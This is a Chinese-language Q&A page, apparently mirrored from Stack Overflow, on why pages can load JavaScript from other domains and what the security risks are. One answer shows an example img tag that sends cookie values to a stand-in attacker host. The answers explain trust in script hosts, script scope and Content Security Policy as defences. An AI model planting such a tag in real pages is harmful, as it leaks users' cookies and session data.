代码之家  ›  专栏  ›  技术社区  ›  dtc

为什么我们可以链接到另一个域上的js文件?

  •  5
  • dtc  · 技术社区  · 15 年前

    为什么当我们从y.com链接到x.com上的javascript文件(例如google analytics或jquery)时,它不会导致任何跨域安全问题?

    例如:

    在y.com/index.html中,我们有:

    <script type="text/javascript" src="http://x.com/jsfile.js" />
    

    我们怎么知道什么时候可以做什么时候不行?

    3 回复  |  直到 8 年前
        1
  •  7
  •   Eilon    15 年前

    它可能是一个主要的安全漏洞,因此您必须信任托管javascript文件的站点。

    例如,该代码可以将更多的脚本标记和img标记插入到您的站点中,以便将敏感数据中继到第三方。

    大卫对同一原产地政策的评论可能会产生误导。将数据中继到远程站点的经典方法是将img标记插入到远程域:

    <img src="http://evil.example.com/sendcookieshere.whatever?cookievalue=secret_info />
    

    如果远程主机上的javascript代码被更改为动态注入这样的img标记,那么您的站点可能存在安全漏洞。对于其中的一些问题有一些缓解措施,例如使用仅限http的cookie,这些cookie无法通过javascript访问。

    分析系统就是一个很好的例子。您必须相信提供商不会将任何敏感数据(如您自己的cookies)发送到远程位置。你还需要信任提供者 他们的 系统是安全的,黑客无法更改服务器上的javascript文件。分析系统通常通过使用这些相同的技术来工作,但希望它们能将其用于善而不是恶。从某种意义上说,这和担心开发人员是否编写了好的、安全的代码以及他们是否引入了秘密后门没什么两样。

    至于 为什么 这是允许的,这只是历史。网络的设计根本没有考虑到安全性。无论是csrf攻击、重放攻击还是xss攻击,这些都是web设计中的基本缺陷,现在已经成为web开发人员关注的问题。

        2
  •  3
  •   Guffa    15 年前

    数据的来源无关紧要,重要的是它的使用范围。

    您只是从另一个域获取脚本,它仍然在您自己页面的作用域中运行,因此它无法访问加载它的域中的资源。

    在存在跨域问题的情况下,例如iframe包含来自不同域的页面,则有两个不同的作用域。iframe中的页面在加载它的域的作用域中运行,因此它可以访问该域中的资源,但是它不能访问承载iframe的页面中的任何内容,因为这是一个不同的作用域。

    (注意:我不知道“scope”这个词在这里是否常用,可能有一个更好的术语来描述它。)

        3
  •  0
  •   Fred    8 年前

    我不知道为什么我们能做到。但是您可以使用内容安全策略(content security policy,csp)来防止这种情况发生,csp是web应用程序发送的一个http头,它声明除了您显式允许的域之外,不应该加载javascript。

    推荐文章